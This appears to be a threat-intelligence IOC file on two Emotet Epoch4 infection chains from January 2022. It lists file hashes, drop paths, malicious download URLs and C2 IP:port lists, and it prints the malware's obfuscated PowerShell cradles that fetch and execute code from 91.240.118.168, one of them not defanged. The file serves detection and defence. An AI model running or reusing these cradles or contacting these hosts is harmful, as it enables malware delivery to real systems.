-
Notifications
You must be signed in to change notification settings - Fork 10
/
e4_emotet_27.01.2022.txt
162 lines (142 loc) · 4.38 KB
/
e4_emotet_27.01.2022.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
Emotet 2022
Epoch4 - xls > .hta > .ps > .dll - 27/01/2022
.xls c56e7da2e4fed5117e10934986a81e8280ac5a6f9a00ef3d469c31c8ac914eac
.dll 03101974c6ae7b9572d159ef038cd058ef6b3b9fed6a57af8ca330383b875714
$c1 = "(New-Object Net.We"
$c4 = "bClient).Downlo"
$c3 = "adString('hxxp://91.240.118.168/zqqw/zaas/fe.png')"
$ji = "(New-Object Net.WebClient).DownloadString('http://91.240.118.168/zqqw/zaas/fe.png')"
invoke-expression "(New-Object Net.WebClient).DownloadString('hxxp://91.240.118.168/zqqw/zaas/fe.png')"|invoke-expression
# powershell snippet 1
(new-object net.webclient).downloadstring("hxxp://91.240.118.168/zqqw/zaas/fe.png")
C:\ProgramData\QWER.dll
hxxp://praachichemfood.com/public_html/SWmteCWBUkA89/
hxxps://dtmconsulting.ca/wp-includes/dkCFwyE/
hxxps://mortgageadviser.directory/xw8ok/icCYdBSpbFrf5s/
hxxps://worldaviationhub.com/wp-includes/Lik/
hxxp://bakultante.com/tee5oeot/Q/
hxxps://onewaymedia.ro/wp-includes/k/
hxxps://lodev7.com/wp-content/dpwjiJivrpgO1F2/
hxxps://trochoi80club.com/wp-content/6shnRU/
hxxps://haileywells.com/cgi-bin/KJUOaq/
hxxps://www.yepproject.org/wp-includes/lC45zFsHmmsMDElKT/
hxxp://estiloindustria.com.br/wp-content/49cRLeDYqr6uVF7i/
hxxps://futurelube.com/wp-admin/6GLpl4ehsdCBX3z/
c2's
51.15.4.22:443
173.214.173.220:8080
212.237.5.209:443
192.254.71.210:443
216.158.226.206:443
162.243.175.63:443
212.24.98.99:8080
58.227.42.236:80
45.118.115.99:8080
104.251.214.46:8080
185.157.82.209:8080
46.55.222.11:443
188.40.137.206:8080
81.0.236.90:443
103.75.201.2:443
129.232.188.93:443
195.154.133.20:443
159.8.59.82:8080
79.172.212.216:8080
138.185.72.26:8080
200.17.134.35:7080
185.157.82.211:8080
209.59.138.75:7080
178.63.25.185:443
45.176.232.124:443
45.118.135.203:7080
164.68.99.3:8080
203.114.109.124:443
212.237.17.99:8080
50.116.54.215:443
131.100.24.231:80
212.237.56.116:7080
45.142.114.231:8080
162.214.50.39:7080
51.38.71.0:443
104.168.155.129:8080
107.182.225.142:8080
217.182.143.207:443
158.69.222.101:443
176.104.106.96:8080
207.38.84.195:8080
41.76.108.46:8080
110.232.117.186:8080
178.79.147.66:8080
173.212.193.249:8080
************************************************************************************************************
Epoch4 - xls > .hta > .ps > .dll - 27/01/2022
.xls 7ab973b110b88c849cdfeeb660488e3f87b1542320a4fe39e4c46bcd08658e06
.dll 7053c10fc8ee8b9f27ba7cdcd6a14bda48fa75df99adfb421be7f9ebe0e64e2f
hxxp://91.240.118.168/zzx/ccv/fe.html
$c1 = "(New-Object Net.We"
$c4 = "bClient).Downlo"
$c3 = "adString('hxxp://91.240.118.168/zzx/ccv/fe.png')"
$ji = "(New-Object Net.WebClient).DownloadString('hxxp://91.240.118.168/zzx/ccv/fe.png')"
invoke-expression "(New-Object Net.WebClient).DownloadString('hxxp://91.240.118.168/zzx/ccv/fe.png')"|invoke-expression
# powershell snippet 1
(new-object net.webclient).downloadstring("hxxp://91.240.118.168/zzx/ccv/fe.png")
$path = "C:\Users\Public\Documents\ssd.dll
hxxps://www.yeald.finance/wp-admin/1WgPRm/
hxxp://sneakadream.com/wp-content/pccmAOq/
hxxps://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/
hxxps://weddingbandsirelandjbk.com/hgsynt2/o/
hxxps://getcode.info/wp-content/QDx8b5j/
hxxps://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/
hxxps://chochungcuhanoi.com/wp-content/cyE2u0cnolP/
hxxps://allaagency.ro/wp-admin/7/
hxxp://taxxooblog.cn/wp-includes/KJLv/
hxxps://palankhir.hu/tools/GJRNhZHz/
hxxp://masboni.com/wp-admin/3zUQl/
hxxps://tanquessepticos.com/wp-admin/ApVVbl1fQ0/
hxxp://starspeedng.com/One-File/U3Trml/
c2's
89.32.148.223:443
188.40.137.206:8080
45.118.135.203:7080
164.68.99.3:8080
162.214.50.39:7080
45.142.114.231:8080
45.176.232.124:443
207.38.84.195:8080
104.168.155.129:8080
176.104.106.96:8080
203.114.109.124:443
41.76.108.46:8080
178.79.147.66:8080
58.227.42.236:80
51.38.71.0:443
138.185.72.26:8080
107.182.225.142:8080
81.0.236.90:443
185.157.82.211:8080
103.8.26.103:8080
50.116.54.215:443
217.182.143.207:443
46.55.222.11:443
173.212.193.249:8080
212.237.17.99:8080
79.172.212.216:8080
192.254.71.210:443
212.237.5.209:443
69.197.160.180:8080
209.59.138.75:7080
110.232.117.186:8080
104.251.214.46:8080
195.154.133.20:443
216.158.226.206:443
158.69.222.101:443
129.232.188.93:443
45.118.115.99:8080
212.237.56.116:7080
103.75.201.2:443
131.100.24.231:80
212.24.98.99:8080
200.17.134.35:7080
162.243.175.63:443
103.8.26.102:8080
178.63.25.185:443